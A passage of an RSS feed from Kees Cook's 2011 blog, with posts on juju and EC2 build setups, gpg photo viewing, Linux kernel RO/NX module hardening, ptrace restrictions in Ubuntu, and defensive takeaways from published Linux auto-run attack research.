		<guid isPermaLink="false">http://www.outflux.net/blog/?p=534</guid>
		<description><![CDATA[My earlier post on juju described a number of weird glitches I ran into. I got invited by hazmat on IRC (freenode #juju) to try to reproduce the problems so we could isolate the trouble. Fix #1: use the version from the PPA. The juju setup documentation doesn&#8217;t mention this, but it seems that adding [...]]]></description>
			<content:encoded><![CDATA[<p>My earlier <a href="http://www.outflux.net/blog/archives/2011/12/05/ec2-instances-in-support-of-a-bsp/">post on juju</a> described a number of weird glitches I ran into. I got invited by hazmat on IRC (freenode <code>#juju</code>) to try to reproduce the problems so we could isolate the trouble.</p>
<p>Fix #1: use the version from the PPA. The <a href="https://juju.ubuntu.com/docs/getting-started.html#configuring-your-environment">juju setup documentation</a> doesn&#8217;t mention this, but it seems that adding &#8220;<code>juju-origin: ppa</code>&#8221; to your <code>~/.juju/environment.yaml</code> is a good idea. I suggest it be made the default, and to link to the full list of <a href="https://juju.ubuntu.com/docs/provider-configuration-ec2.html">legal syntax for the <code>environment.yaml</code> file</a>. I was not able to reproduce the missing-machines-at-startup problem after doing this, but perhaps it&#8217;s a hard race to lose.</p>
<p>Fix #2: don&#8217;t use &#8220;<code>terminate-machine</code>&#8220;. :P There seems to be a problem around doing the following series of commands: &#8220;<code>juju remove-unit FOO/N; juju terminate-machine X; juju add-unit FOO</code>&#8220;. This makes the provisioner go crazy, and leaves all further attempts to add units stick in &#8220;pending&#8221; forever.</p>
<p>Big thank you to hazmat and SpamapS for helping debug this.</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/12/07/juju-bug-fixing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>EC2 instances in support of a BSP</title>
		<link>http://www.outflux.net/blog/archives/2011/12/05/ec2-instances-in-support-of-a-bsp/</link>
		<comments>http://www.outflux.net/blog/archives/2011/12/05/ec2-instances-in-support-of-a-bsp/#comments</comments>
		<pubDate>Tue, 06 Dec 2011 00:05:17 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=527</guid>
		<description><![CDATA[On Sunday, I brought up EC2 instances to support the combined Debian Bug Squashing Party/Ubuntu Local Jam that took place at PuppetLabs in Portland, OR, USA. The intent was to provide each participant with their own sbuild environment on a 64bit machine, since we were going to be working on Multi-Arch support, and having both [...]]]></description>
			<content:encoded><![CDATA[<p>On Sunday, I <a href="http://www.outflux.net/blog/archives/2011/12/07/how-to-throw-an-ec2-party/">brought up EC2 instances</a> to support the combined <a href="http://wiki.debian.org/BSP2011/Portland">Debian Bug Squashing Party/Ubuntu Local Jam</a> that took place at PuppetLabs in Portland, OR, USA. The intent was to provide each participant with their own <a href="http://wiki.debian.org/mk-sbuild">sbuild</a> environment on a 64bit machine, since we were going to be working on <a href="http://wiki.debian.org/ReleaseGoals/MultiArch">Multi-Arch support</a>, and having both 64bit and 32bit chroots would be helpful. The host was an Ubuntu 11.10 (Oneiric) instance so it would be possible to do SRU verifications in the cloud too.</p>
<p>I was curious about the <a href="http://juju.ubuntu.com/">juju</a> provisioning system, since it has an interesting plugin system, called &#8220;charms&#8221;, that can be used to build out services. I decided to write an <a href="https://code.launchpad.net/~kees/charm/oneiric/sbuild/trunk">sbuild charm</a>, which was pretty straight forward and quite powerful (using this charm it would be possible to trigger the creation of new schroots across all instances at any time, etc).</p>
<p>The juju service itself works really well when it works correctly. When something goes wrong, unfortunately, it becomes nearly impossible to debug or fix. Repeatedly while working on charm development, the provisioning system would lose its mind, and I&#8217;d have to destroy the entire environment and re-bootstrap to get things running again. I had hoped this wouldn&#8217;t be the case while I was using it during &#8220;production&#8221; on Sunday, but the provisioner broke spectacularly on Sunday too. Due to the fragility of the juju agents, it wasn&#8217;t possible to restart the provisioner &#8212; it lost its mind, the other agent&#8217;s couldn&#8217;t talk to it any more, etc. I would expect the master services on a cloud instance manager to be extremely robust since having it die would mean totally losing control of all your instances.</p>
<p>On Sunday morning, I started 8 instances. 6 came up perfectly and were excellent work-horses all day at the BSP. 2 never came up. The EC2 instances started, but the service provisioner never noticed them. Adding new units didn&#8217;t work (instances would start, but no services would notice them), and when I tried to remove the seemingly broken machines, the instance provisioner completely went crazy and started dumping Python traces into the logs (which seems to be related to <a href="https://bugs.launchpad.net/juju/+bug/861928">this bug</a>, though some kind of race condition seems to have confused it much earlier than this total failure), and that was it. We used the instances we had, and I spent 3 hours trying to fix the provisioner, eventually giving up on it.</p>
<p>I was very pleased with EC2 and Ubuntu Server itself on the instances. The schroots worked, sbuild worked (though I identified some additional things that the charm should likely do for setup). I think juju has a lot of potential, but I&#8217;m surprised at how fragile it is. It didn&#8217;t help that Amazon had rebooted the entire West Coast the day before and there were dead Ubuntu Archive Mirrors in the DNS rotation.</p>
<p>For anyone else wanting to spin up builders in the cloud using juju, I have a <a href="http://bazaar.launchpad.net/~kees/charm/oneiric/sbuild/trunk/view/head:/README">run-down</a> of what this looks like from the admin&#8217;s perspective, and even include a little script to produce little slips of paper to hand out to attendees with an instance&#8217;s hostname, ssh keys, and builder SSH password. Seemed to work pretty well overall; I just wish I could have spun up a few more. :)</p>
<p>So, even with the fighting with juju and a few extra instances that came up and I had to shut down again without actually using them, the total cost to run the instances for the whole BSP was about US$40, and including the charm development time, about US$45.</p>
<p><strong>UPDATE</strong>: some more details on how to <a href="http://www.outflux.net/blog/archives/2011/12/07/juju-bug-fixing/">avoid the glitches</a> I hit.</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/12/05/ec2-instances-in-support-of-a-bsp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PGP key photo viewing</title>
		<link>http://www.outflux.net/blog/archives/2011/12/05/pgp-key-photo-viewing/</link>
		<comments>http://www.outflux.net/blog/archives/2011/12/05/pgp-key-photo-viewing/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 21:35:32 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=522</guid>
		<description><![CDATA[Handy command line arguments for gpg: gpg --list-options show-photos --fingerprint 0xdc6dc026 This is nice to examine someone&#8217;s PGP photo. You can also include it in --verify-options, depending on how/when you want to see the photo (for example, when doing key signings). If gpg doesn&#8217;t pick the right photo viewer, you can override it with --photo-viewer [...]]]></description>
			<content:encoded><![CDATA[<p>Handy command line arguments for gpg:</p>
<pre>gpg <strong>--list-options show-photos</strong> --fingerprint 0xdc6dc026</pre>
<p>This is nice to examine someone&#8217;s PGP photo. You can also include it in <code>--verify-options</code>, depending on how/when you want to see the photo (for example, when doing key signings).</p>
<p>If gpg doesn&#8217;t pick the right photo viewer, you can override it with <code>--photo-viewer 'eog %I'</code> or similar.</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/12/05/pgp-key-photo-viewing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>qrcodes</title>
		<link>http://www.outflux.net/blog/archives/2011/11/15/qrcodes/</link>
		<comments>http://www.outflux.net/blog/archives/2011/11/15/qrcodes/#comments</comments>
		<pubDate>Wed, 16 Nov 2011 03:08:48 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=518</guid>
		<description><![CDATA[Inspired by recent Planet Ubuntu posts, I submit a QR Code for your examination: &#169; 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.]]></description>
			<content:encoded><![CDATA[<p>Inspired by recent <a href="http://planet.ubuntu.com/">Planet Ubuntu</a> posts, I submit a QR Code for your examination:</p>
<p><img src="/images/qrcode.png" /></p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/11/15/qrcodes/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>5 years with Canonical</title>
		<link>http://www.outflux.net/blog/archives/2011/09/12/5-years-with-canonical/</link>
		<comments>http://www.outflux.net/blog/archives/2011/09/12/5-years-with-canonical/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 17:58:04 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=511</guid>
		<description><![CDATA[This month, I will have been with Canonical for 5 years. It&#8217;s been fantastic, but I&#8217;ve decided to move on. Next week, I&#8217;m going to start working for Google, helping out with ChromeOS, which I&#8217;m pretty excited about. I&#8217;m sad to be leaving Canonical, but I comfort myself by knowing that I&#8217;m not leaving Ubuntu [...]]]></description>
			<content:encoded><![CDATA[<p>This month, I will have been with Canonical for 5 years. It&#8217;s been fantastic, but I&#8217;ve decided to move on. Next week, I&#8217;m going to start working for Google, helping out with ChromeOS, which I&#8217;m pretty excited about. I&#8217;m sad to be leaving Canonical, but I comfort myself by knowing that I&#8217;m not leaving Ubuntu or any other projects I&#8217;m involved in. I believe in Ubuntu, I use it everywhere, and I&#8217;m friends with so many of its people. And I&#8217;m still core-dev, so I&#8217;ll continue to break^Wsecure things as much as I can in Ubuntu, and continue working on getting similar stuff into Debian. :)</p>
<p>For nostalgic purposes, I dug up my first <a href="https://launchpad.net/ubuntu/+source/krb5/1.4.3-5ubuntu0.1">security update</a> (sponsored by pitti), and my first <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2006-October/000413.html">Ubuntu Security Notice</a>. I&#8217;m proud of Ubuntu&#8217;s strong security record and <a href="https://wiki.ubuntu.com/Security/Features/Historical">how far the security feature list has come</a>. The Ubuntu Security Team is an awesome group of people, and I&#8217;m honored to have worked with them.</p>
<p>I&#8217;m looking forward to the new adventures, but I will miss the previous ones.</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/09/12/5-years-with-canonical/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>aliens hat-tip</title>
		<link>http://www.outflux.net/blog/archives/2011/07/11/aliens-hat-tip/</link>
		<comments>http://www.outflux.net/blog/archives/2011/07/11/aliens-hat-tip/#comments</comments>
		<pubDate>Tue, 12 Jul 2011 02:04:00 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=506</guid>
		<description><![CDATA[Picked up a Doctor Who comic today and saw a nice hat-tip to (or composite ship design plagiarism of) Aliens. The Colonial Marines ship &#8220;Sulaco&#8221;, from Aliens, 1986: The Scavengers ship, from the Doctor Who Spam Filtered story, 2011: Such a great ship. Not even remotely made to look aerodynamic. And to make this almost [...]]]></description>
			<content:encoded><![CDATA[<p>Picked up a <a href="http://doctor-who-collectors.wikia.com/wiki/Spam_Filtered">Doctor Who comic</a> today and saw a nice hat-tip to (or composite ship design plagiarism of) <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Aliens_%28film%29">Aliens</a>.</p>
<p>The Colonial Marines ship &#8220;Sulaco&#8221;, from <em>Aliens</em>, 1986:<br />
<img src="http://outflux.net/drwho-aliens/sulaco.jpg" alt="aliens ship" /></p>
<p>The Scavengers ship, from the Doctor Who <em>Spam Filtered</em> story, 2011:<br />
<img src="http://outflux.net/drwho-aliens/spam-filtered.jpg" alt="drwho art" /></p>
<p>Such a great ship. Not even remotely made to look aerodynamic.</p>
<p>And to make this almost related to Ubuntu and Debian, here was my command line to remove exif data from the image I took with my phone:</p>
<p><code>mogrify -strip spam-filtered.jpg</code></p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/07/11/aliens-hat-tip/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>non-executable kernel memory progress</title>
		<link>http://www.outflux.net/blog/archives/2011/04/27/non-executable-kernel-memory-progress/</link>
		<comments>http://www.outflux.net/blog/archives/2011/04/27/non-executable-kernel-memory-progress/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 22:39:28 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=491</guid>
		<description><![CDATA[The Linux kernel attempts to protect portions of its memory from unexpected modification (through potential future exploits) by setting areas read-only where the compiler has allowed it (CONFIG_DEBUG_RODATA). This, combined with marking function pointer tables &#8220;const&#8221;, reduces the number of easily writable kernel memory targets for attackers. However, modules (which are almost the bulk of [...]]]></description>
			<content:encoded><![CDATA[<p>The Linux kernel attempts to protect portions of its memory from unexpected modification (through potential future exploits) by setting areas read-only where the compiler has allowed it (<a href="https://wiki.ubuntu.com/Security/Features#rodata">CONFIG_DEBUG_RODATA</a>). This, combined with <a href="https://lkml.org/lkml/2009/12/13/272">marking function pointer tables &#8220;const&#8221;</a>, reduces the number of easily writable kernel memory targets for attackers.</p>
<p>However, modules (which are almost the bulk of kernel code) were not handled, and remained read-write, regardless of compiler markings. In 2.6.38, thanks to the efforts of many people (especially Siarhei Liakh and Matthieu Castet), <a href="https://wiki.ubuntu.com/Security/Features#module-ronx">CONFIG_DEBUG_SET_MODULE_RONX</a> was created (and CONFIG_DEBUG_RODATA expanded).</p>
<p>To visualize the effects, I <a href="http://www.outflux.net/software/patches/ptdump-modules.patch">patched</a> Arjan van de Ven&#8217;s <code>arch/x86/mm/dump_pagetables.c</code> to be a loadable module so I could look at <code>/sys/kernel/debug/kernel_page_tables</code> without needing to rebuild my kernel with CONFIG_X86_PTDUMP.</p>
<p>Comparing Lucid (2.6.32), Maverick (2.6.35), and Natty (2.6.38), it&#8217;s clear to see the effects of the RO/NX improvements, especially in the &#8220;Modules&#8221; section which has no NX markings at all before 2.6.38:</p>
<pre class="brush:shell">
lucid-amd64# awk '/Modules/,/End Modules/' /sys/kernel/debug/kernel_page_tables | grep NX | wc -l
0

maverick-amd64# awk '/Modules/,/End Modules/' /sys/kernel/debug/kernel_page_tables | grep NX | wc -l
0

natty-amd64# awk '/Modules/,/End Modules/' /sys/kernel/debug/kernel_page_tables | grep NX | wc -l
76
</pre>
<p>2.6.38&#8242;s memory region is much more granular, since each module has been chopped up for the various segment permissions:</p>
<pre class="brush:shell">
lucid-amd64# awk '/Modules/,/End Modules/' /sys/kernel/debug/kernel_page_tables | wc -l
53

maverick-amd64# awk '/Modules/,/End Modules/' /sys/kernel/debug/kernel_page_tables | wc -l
67

natty-amd64# awk '/Modules/,/End Modules/' /sys/kernel/debug/kernel_page_tables | wc -l
155
</pre>
<p>For example, here&#8217;s the large &#8220;sunrpc&#8221; module. &#8220;RW&#8221; is read-write, &#8220;ro&#8221; is read-only, &#8220;x&#8221; is executable, and &#8220;NX&#8221; is non-executable:</p>
<pre class="brush:shell">
maverick-amd64# awk '/^'$(awk '/^sunrpc/ {print $NF}' /proc/modules)'/','!/GLB/' /sys/kernel/debug/kernel_page_tables
0xffffffffa005d000-0xffffffffa0096000         228K     RW             GLB x  pte
0xffffffffa0096000-0xffffffffa0098000           8K                           pte

natty-amd64# awk '/^'$(awk '/^sunrpc/ {print $NF}' /proc/modules)'/','!/GLB/' /sys/kernel/debug/kernel_page_tables
0xffffffffa005d000-0xffffffffa007a000         116K     ro             GLB x  pte
0xffffffffa007a000-0xffffffffa0083000          36K     ro             GLB NX pte
0xffffffffa0083000-0xffffffffa0097000          80K     RW             GLB NX pte
0xffffffffa0097000-0xffffffffa0099000           8K                           pte
</pre>
<p>The latter looks a whole lot more like a proper ELF (text segment is read-only and executable, rodata segment is read-only and non-executable, and data segment is read-write and non-executable).</p>
<p>Just another reason to make sure you&#8217;re using your <a href="https://wiki.ubuntu.com/Security/Features#nx">CPU&#8217;s NX bit</a> (via 64bit or 32bit-PAE kernels)! (And no, <a href="http://www.phoronix.com/scan.php?page=article&#038;item=ubuntu_32_pae&#038;num=5">PAE is not slower</a> in any meaningful way.)</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/04/27/non-executable-kernel-memory-progress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linux Security Summit 2011 CFP</title>
		<link>http://www.outflux.net/blog/archives/2011/04/05/linux-security-summit-2011-cfp/</link>
		<comments>http://www.outflux.net/blog/archives/2011/04/05/linux-security-summit-2011-cfp/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 19:06:34 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=485</guid>
		<description><![CDATA[I&#8217;m once again on the program committee for the Linux Security Summit, so I&#8217;d love to see people submit talks, attend, etc. It will be held along with the Linux Plumber&#8217;s Conference, on September 8th in Santa Rosa, CA, USA. I&#8217;d really like to see more non-LSM developers and end-users show up for this event. [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m once again on the program committee for the Linux Security Summit, so I&#8217;d love to see people submit talks, attend, etc. It will be held along with the <a href="http://www.linuxplumbersconf.org/2011/">Linux Plumber&#8217;s Conference</a>, on September 8th in Santa Rosa, CA, USA.</p>
<p>I&#8217;d really like to see more non-LSM developers and end-users show up for this event. We need people interested in defining threats and designing defenses. There is a lot of work to be done on all kinds of fronts and having people voice their opinions and plans can really help us prioritize the areas that need the most attention.</p>
<p>Here&#8217;s one of many archives of the <a href="https://lists.ubuntu.com/archives/ubuntu-hardened/2011-April/000543.html">announcement</a>, along with the <a href="https://security.wiki.kernel.org/index.php/LinuxSecuritySummit2011">website</a>. We&#8217;ve got just under 2 months to get talks submitted (May 27th deadline), with speaker notification quickly after that on June 1st.</p>
<p>Come help us make Linux more secure! :)</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/04/05/linux-security-summit-2011-cfp/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ptracing siblings</title>
		<link>http://www.outflux.net/blog/archives/2011/02/18/ptracing-siblings/</link>
		<comments>http://www.outflux.net/blog/archives/2011/02/18/ptracing-siblings/#comments</comments>
		<pubDate>Sat, 19 Feb 2011 01:29:30 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=470</guid>
		<description><![CDATA[In Ubuntu, the use of ptrace is restricted. The default allowed relationship between the debugger and the debuggee is that parents are allowed to ptrace their descendants. This means that running &#8220;gdb /some/program&#8221; and &#8220;strace /some/program&#8221; Just Works. Using gdb&#8216;s &#8220;attach&#8221; and strace&#8216;s &#8220;-p&#8221; options need CAP_SYS_PTRACE, care of sudo. The next most common use-case [...]]]></description>
			<content:encoded><![CDATA[<p>In Ubuntu, the use of <a href="https://wiki.ubuntu.com/SecurityTeam/Roadmap/KernelHardening#ptrace%20Protection">ptrace is restricted</a>. The default allowed relationship between the debugger and the debuggee is that parents are allowed to ptrace their descendants. This means that running &#8220;<em>gdb /some/program</em>&#8221; and &#8220;<em>strace /some/program</em>&#8221; Just Works. Using <em>gdb</em>&#8216;s &#8220;attach&#8221; and <em>strace</em>&#8216;s &#8220;-p&#8221; options need <code>CAP_SYS_PTRACE</code>, care of <em>sudo</em>.</p>
<p>The next most common use-case was that of crash handlers needing to do a live ptrace of a crashing program (in the rare case of <a href="https://wiki.ubuntu.com/Apport">Apport</a> being insufficient). For example, KDE applications have a segfault handler that calls out to <em>kdeinit</em> and requests that the crash handling process be started on it, and then sits in a loop waiting to be attached to. While <em>kdeinit</em> is the parent of both the crashing program (debuggee) and the crash handling program (debugger), the debugger cannot attach to the debugee since they are siblings, not parent/descendant. To solve this, a <code>prctl()</code> call was added so that the debugee could declare who&#8217;s descendants were going to attach to it. KDE <a href="http://websvn.kde.org/trunk/KDE/kdelibs/kdeui/util/kcrash.cpp?r1=1206730&#038;r2=1206729&#038;pathrev=1206730">patched their segfault handler</a> to make the <code>prctl()</code> and everything Just Works again.</p>
<p>Breakpad, the crash handler for Firefox and Chromium, was <a href="http://code.google.com/p/google-breakpad/source/detail?spec=svn673&#038;r=673">updated to do effectively the same thing</a>, though they had to add code to pass the process id back to the debuggee since they didn&#8217;t have it handy like KDE.</p>
<p>Another use-case was Wine, where for emulation to work correctly, they needed to allow all Wine processes to ptrace each other to correctly emulate Windows. For this, they just declared that all <a href="http://source.winehq.org/git/wine.git/?a=commitdiff;h=9227eb2c9d6f0cecbabcb54cc25b5691f544b0f4">descendants of the wine-server</a> could debug a given Wine process, there-by confining their ptrace festival to just Wine programs.</p>
<p>One of the remaining use-cases is that of a debugging IDE that doesn&#8217;t directly use ptrace itself. For example, <em>qtcreator</em> will launch a program and then later attach to it by launching <em>gdb</em> and using the &#8220;attach&#8221; command. This looks a lot like the crash handler use-case, except that the debuggee doesn&#8217;t have any idea that it is running under an IDE. A simple solution for this is to have the IDE run its programs with the <code>LD_PRELOAD</code> environment variable aimed at a short library that just calls <code>prctl()</code> with the parent process id, and suddenly the IDE and its descendants (i.e. <em>gdb</em>) can debug the program all day long.</p>
<p>I&#8217;ve got an example of this preloadable library <a href="http://outflux.net/ptrace/ptraced.c">written</a>. If it turns out this is generally useful for IDEs, I could package it up like <em>fakeroot</em> and <em>faketime</em>.</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/02/18/ptracing-siblings/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>shaping the direction of research</title>
		<link>http://www.outflux.net/blog/archives/2011/02/11/shaping-the-direction-of-research/</link>
		<comments>http://www.outflux.net/blog/archives/2011/02/11/shaping-the-direction-of-research/#comments</comments>
		<pubDate>Fri, 11 Feb 2011 21:45:20 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=465</guid>
		<description><![CDATA[Other people have taken notice of the recent &#8220;auto-run&#8221; attack research against Linux. I was extremely excited to see Jon Larimer publishing this stuff, since it ultimately did not start with the words, &#8220;first we disabled NX, ASLR, and (SELinux&#124;AppArmor) &#8230;&#8221; I was pretty disappointed with last year&#8217;s Blackhat conference because so many of the [...]]]></description>
			<content:encoded><![CDATA[<p>Other people have <a href="http://askubuntu.com/questions/25880/am-i-vulnerable-to-recent-exploits-using-usb-sticks-and-automount/25881#25881">taken notice</a> of the recent &#8220;auto-run&#8221; attack research against Linux. I was extremely excited to see Jon Larimer publishing this stuff, since it ultimately did not start with the words, &#8220;first we disabled <a href="http://en.wikipedia.org/wiki/NX_bit">NX</a>, <a href="http://en.wikipedia.org/wiki/ASLR">ASLR</a>, and (SELinux|AppArmor) &#8230;&#8221;</p>
<p>I was pretty disappointed with last year&#8217;s Blackhat conference because so many of the presentations just rehashed ancient exploitation techniques, and very few actually showed new ideas. I got tired of seeing mitigation technologies disabled to accomplish an attack. That&#8217;s kind of not the point.</p>
<p>Anyway, <a href="http://www.youtube.com/watch?v=ovfYBa1EHm4#t=90">Jon&#8217;s research</a> is a step in the right direction. He defeats ASLR via brute-force, side-steps NX with ret-to-libc, and finds policy holes in AppArmor to accomplish the goal. I was pleased to see &#8220;protected by <a href="http://en.wikipedia.org/wiki/Position-independent_code#Position-independent_executables">PIE</a> and <a href="http://apparmor.net/">AppArmor</a>&#8221; in his slides &#8212; Ubuntu&#8217;s hardening of evince was very intentional. It has proven to be a dangerous piece of software, which Jon&#8217;s research just further reinforces. He chose to attack the difficult target instead of going after what might have been the easier thumbnailers.</p>
<p>So, because of this research, we can take a step back and think about what could be done to improve the situation from a proactive security perspective. A few things stand out:</p>
<ul>
<li>GNOME really shouldn&#8217;t be auto-mounting anything while the screen is locked (LP: #<a href="https://launchpad.net/bugs/714958">714958</a>).</li>
<li>AppArmor profiles for the other thumbnailers should be written (LP: #<a href="https://launchpad.net/bugs/715874">715874</a>).</li>
<li>The predictable ASLR found in the NX-emulation patch is long over-due to be fixed. This has been <a href="http://www.mail-archive.com/kernel@lists.fedoraproject.org/msg00561.html">observed</a> repeatedly before, but I hadn&#8217;t actually opened a bug for it yet. Now I have. (LP: #<a href="https://launchpad.net/bugs/717412">717412</a>)</li>
<li>Media players should be built PIE. This has been on the <a href="https://wiki.ubuntu.com/SecurityTeam/Roadmap#Unscheduled%20Wishlist%20Items">Roadmap</a> for a while now, but is not as easy as it sounds because several of them use inline assembly for speed, and that can be incompatible with PIE.</li>
